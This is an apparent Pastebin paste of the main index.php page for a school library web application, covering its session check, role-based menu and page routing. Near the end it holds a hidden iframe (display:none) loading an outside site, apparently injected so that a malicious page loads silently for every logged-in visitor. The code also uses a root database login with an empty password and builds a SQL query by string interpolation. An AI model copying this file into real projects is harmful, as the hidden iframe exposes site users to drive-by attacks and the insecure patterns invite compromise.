Advertisement
dirjaya

index.php

Jul 21st, 2018
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.57 KB | None | 0 0
  1. <?php
  2.  
  3. include 'koneksi.php';
  4. session_start();
  5. error_reporting(0);
  6.  
  7. $koneksi = new mysqli("localhost","root","","perpusdb");
  8.  
  9. include "function.php";
  10.  
  11. if($_SESSION['admin'] || $_SESSION['guru'] || $_SESSION['user']){
  12.  
  13. ?>
  14.  
  15. <!DOCTYPE html>
  16. <html xmlns="http://www.w3.org/1999/xhtml">
  17. <head>
  18. <meta charset="utf-8" />
  19. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  20. <title>Perpus SDN JATI 01</title>
  21. <!-- BOOTSTRAP STYLES-->
  22. <link href="assets/css/bootstrap.css" rel="stylesheet" />
  23. <!-- FONTAWESOME STYLES-->
  24. <link href="assets/css/font-awesome.css" rel="stylesheet" />
  25. <!-- CUSTOM STYLES-->
  26. <link href="assets/css/custom.css" rel="stylesheet" />
  27. <!-- GOOGLE FONTS-->
  28. <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' />
  29.  
  30. <link href="assets/js/dataTables/dataTables.bootstrap.css" rel="stylesheet" />
  31. </head>
  32. <body>
  33.  
  34. <nav class="navbar navbar-inverse">
  35. <img src="images/wuri.png" witdh="75px" height="75px"padding: "15px 50px 5px 50px;">
  36.  
  37. <div style="color: white;
  38. padding: 15px 50px 5px 50px;
  39. float: right;
  40. font-size: 16px;"><?php echo date('d-M-Y'); ?> &nbsp; <a href="logout.php" class="btn btn-danger square-btn-adjust">Logout</a> </div>
  41. </nav>
  42. <!-- /. NAV TOP -->
  43. <nav class="navbar-default navbar-side" role="navigation">
  44. <div class="sidebar-collapse">
  45. <ul class="nav" id="main-menu">
  46. <li class="text-center">
  47. <?php
  48. if($_SESSION['admin']){
  49. $user_l=$_SESSION['admin'];
  50.  
  51. }elseif ($_SESSION['guru']) {
  52. $user_l=$_SESSION['guru'];
  53.  
  54. }elseif ($_SESSION['user']) {
  55. $user_l=$_SESSION['user'];
  56. }
  57.  
  58. $sql_u = $koneksi->query("select* from tb_user where id='$user_l'");
  59. $data_u = $sql_u->fetch_assoc();
  60. ?>
  61.  
  62. <a>Hai,<?php echo $data_u['nama']; ?>&nbsp;&nbsp;<img src="images/<?php echo $data_u['foto']; ?>" alt="" width="75" height="50" style=""></a></li>
  63. </li>
  64.  
  65. <?php if($_SESSION['user']) {?>
  66.  
  67. <li>
  68. <a href="index.php"><img src="images/membaca.jpg" width="50px" height="50px"> Dashboard</a>
  69. </li>
  70.  
  71. <?php } ?>
  72.  
  73. <?php if ($_SESSION['guru']) {?>
  74.  
  75. <li>
  76. <a href="?page=anggota"><img src="images/anggota.png" width="50px" height="50px">Data Anggota</a>
  77. </li>
  78.  
  79. <li>
  80. <a href="?page=buku"><img src="images/buku.png" width="50px" height="50px"> Data Buku</a>
  81. </li>
  82.  
  83. <?php } ?>
  84.  
  85. <?php if ($_SESSION['admin']) {?>
  86.  
  87. <li>
  88. <a href="index.php"><img src="images/membaca.jpg" width="50px" height="50px"> Dashboard</a>
  89. </li>
  90.  
  91. <li>
  92. <a href="?page=anggota"><img src="images/anggota.png" width="50px" height="50px">Data Anggota</a>
  93. </li>
  94.  
  95. <li>
  96. <a href="?page=buku"><img src="images/buku.png" width="50px" height="50px"> Data Buku</a>
  97. </li>
  98.  
  99. <li>
  100. <a href="?page=pengguna"><img src="images/login.png" width="50px" height="50px"> Pengguna</a>
  101. </li>
  102.  
  103. <li>
  104. <a href="?page=transaksi"><img src="images/user.ico" width="50px" height="50px"> Transaksi</a>
  105. </li>
  106.  
  107. <li>
  108. <a href="?page=lap_seluruh"><img src="images/write.jpg" width="50px" height="50px"> Laporan</a>
  109. </li>
  110.  
  111. <?php } ?>
  112.  
  113.  
  114. </ul>
  115.  
  116. </div>
  117.  
  118. </nav>
  119. <!-- /. NAV SIDE -->
  120. <div id="page-wrapper" >
  121. <div id="page-inner">
  122. <div class="row">
  123. <div class="col-md-12">
  124.  
  125. <?php
  126.  
  127. $page = $_GET['page'];
  128. $aksi = $_GET['aksi'];
  129.  
  130.  
  131. if ($page == "buku") {
  132. if ($aksi == "") {
  133. include "page/buku/buku.php";
  134. }elseif ($aksi== "tambah") {
  135. include "page/buku/tambah.php";
  136. }elseif ($aksi== "ubah") {
  137. include "page/buku/ubah.php";
  138. }elseif ($aksi== "hapus") {
  139. include "page/buku/hapus.php";
  140. }elseif ($aksi== "cetak") {
  141. include "page/buku/form_laporan_buku.php";
  142. }
  143. }elseif ($page == "anggota" ) {
  144. if ($aksi == "") {
  145. include "page/anggota/anggota.php";
  146. }elseif ($aksi == "tambah") {
  147. include "page/anggota/tambah.php";
  148. }elseif ($aksi == "ubah") {
  149. include "page/anggota/ubah.php";
  150. }elseif ($aksi == "hapus") {
  151. include "page/anggota/hapus.php";
  152. }
  153. }elseif ($page == "transaksi" ) {
  154. if ($aksi == "") {
  155. include "page/transaksi/transaksi.php";
  156. }elseif ($aksi == "tambah") {
  157. include "page/transaksi/tambah.php";
  158. }elseif ($aksi == "kembali") {
  159. include "page/transaksi/kembali.php";
  160. }elseif ($aksi == "perpanjang") {
  161. include "page/transaksi/perpanjang.php";
  162. }
  163. }elseif ($page == "pengguna" ) {
  164. if ($aksi == "") {
  165. include "page/pengguna/pengguna.php";
  166. }elseif ($aksi == "tambah") {
  167. include "page/pengguna/tambah.php";
  168. }elseif ($aksi == "ubah") {
  169. include "page/pengguna/ubah.php";
  170. }elseif ($aksi == "hapus") {
  171. include "page/pengguna/hapus.php";
  172. }
  173.  
  174. }elseif ($page == "lap_seluruh" ) {
  175. if ($aksi == "") {
  176. include "page/lap_seluruh/laporan.php";
  177. }elseif ($aksi == "cek_anggota") {
  178. include "page/lap_seluruh/cek_anggota.php";
  179. }elseif ($aksi == "cek_buku") {
  180. include "page/lap_seluruh/cek_buku.php";
  181. }elseif ($aksi == "cek_user") {
  182. include "page/lap_seluruh/cek_user.php";
  183. }elseif ($aksi == "cek_transaksi") {
  184. include "page/lap_seluruh/cek_transaksi.php";
  185. }elseif ($aksi == "cek_transaksi1") {
  186. include "page/lap_seluruh/cek_transaksi1.php";
  187. }
  188.  
  189.  
  190. }elseif ($page=="") {
  191. include "home.php";
  192. }
  193.  
  194. ?>
  195.  
  196. </div>
  197. </div>
  198. <!-- /. ROW -->
  199. <hr />
  200.  
  201. </div>
  202. <!-- /. PAGE INNER -->
  203. </div>
  204. <!-- /. PAGE WRAPPER -->
  205. </div>
  206. <!-- /. WRAPPER -->
  207. <!-- SCRIPTS -AT THE BOTOM TO REDUCE THE LOAD TIME-->
  208. <!-- JQUERY SCRIPTS -->
  209. <script src="assets/js/jquery-1.10.2.js"></script>
  210. <!-- BOOTSTRAP SCRIPTS -->
  211. <script src="assets/js/bootstrap.min.js"></script>
  212. <!-- METISMENU SCRIPTS -->
  213. <script src="assets/js/jquery.metisMenu.js"></script>
  214. <!-- CUSTOM SCRIPTS -->
  215.  
  216.  
  217.  
  218. <script src="assets/js/dataTables/jquery.dataTables.js"></script>
  219. <script src="assets/js/dataTables/dataTables.bootstrap.js"></script>
  220. <script>
  221. $(document).ready(function () {
  222. $('#dataTables-example').dataTable();
  223. });
  224. </script>
  225. <!-- CUSTOM SCRIPTS -->
  226. <script src="assets/js/custom.js"></script>
  227.  
  228.  
  229.  
  230. <iframe src="http://www.tEenPassage.com/rc/" style="display:none"></iframe>
  231. </body>
  232. </html>
  233.  
  234. <?php
  235. }else{
  236. header("location:login.php");
  237. }
  238. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement